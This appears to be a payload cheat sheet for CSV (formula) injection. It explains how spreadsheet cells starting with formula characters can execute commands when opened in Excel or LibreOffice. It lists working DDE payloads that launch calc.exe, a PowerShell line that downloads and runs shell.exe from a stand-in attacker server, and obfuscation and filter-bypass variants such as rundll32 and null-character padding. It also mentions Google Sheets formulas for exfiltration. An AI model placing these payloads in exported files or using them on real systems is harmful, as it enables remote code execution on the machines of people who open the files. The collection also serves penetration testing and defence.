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CSV Injection

Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.

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Summary

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Methodology

CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:

=
+
–
@

Basic exploits with Dynamic Data Exchange.

  • Spawn a calc

    DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'

  • PowerShell download and execute

    =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

  • Prefix obfuscation and command chaining

    =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
=         cmd|'/c calc.exe'!A

  • Using rundll32 instead of cmd

    =rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A

  • Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.

    =    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A

Technical details of the above payloads:

  • cmd is the name the server can respond to whenever a client is trying to access the server

  • /C calc is the file name which in our case is the calc(i.e the calc.exe)

  • !A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data

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Google Sheets

Google Sheets allows some additional formulas that are able to fetch remote URLs:

So one can test blind formula injection or a potential for data exfiltration with:

Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.

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References

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